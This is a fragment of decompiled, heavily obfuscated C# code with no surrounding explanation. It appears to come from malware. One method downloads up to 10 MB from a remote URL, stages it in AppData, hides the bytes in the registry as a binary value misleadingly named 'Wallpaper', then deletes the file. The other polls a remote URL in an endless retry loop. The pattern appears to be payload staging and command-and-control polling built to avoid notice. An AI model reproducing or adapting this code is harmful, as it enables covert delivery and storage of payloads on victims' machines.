public void method_11(string string_7) { string text = this.method_9(53, ""); string text2 = Delegate88.smethod_0("HKEY_CURRENT_USER\\Software\\", this.string_3, "\\Keys"); string text3 = Delegate125.smethod_0(Delegate120.smethod_0(Environment.SpecialFolder.ApplicationData), "\\", this.string_3, ".img"); try { WebRequest object_ = Delegate155.smethod_0(Delegate124.smethod_0(string_7, text)); Delegate157.smethod_0(object_, Delegate156.smethod_0()); HttpWebResponse object_2 = (HttpWebResponse)Delegate158.smethod_0(object_); BinaryReader object_3 = Delegate31.smethod_0(Delegate159.smethod_0(object_2)); byte[] array = Delegate176.smethod_0(object_3, 10485760); using (FileStream fileStream = Delegate32.smethod_0(text3, FileMode.Create)) { Delegate177.smethod_0(fileStream, array, 0, array.Length); } byte[] object_4 = Delegate146.smethod_1(text3); Delegate127.smethod_0(text2, "Wallpaper", object_4, RegistryValueKind.Binary); Delegate178.smethod_0(object_3); Delegate163.smethod_0(object_2); Delegate100.smethod_1(text3); Delegate104.smethod_0(this.int_1); } catch (WebException) { } }
public string method_8(string string_7) { bool flag = false; string text = null; while (!flag) { try { WebRequest object_ = Delegate155.smethod_0(string_7); Delegate157.smethod_0(object_, Delegate156.smethod_0()); HttpWebResponse object_2 = (HttpWebResponse)Delegate158.smethod_0(object_); Stream stream = Delegate159.smethod_0(object_2); StreamReader object_3 = Delegate28.smethod_0(stream); text = Delegate160.smethod_0(object_3); if (text != null) { flag = true; } Delegate161.smethod_0(object_3); Delegate162.smethod_0(stream); Delegate163.smethod_0(object_2); } catch (WebException) { continue; } Delegate104.smethod_0(this.int_1); } return(text); }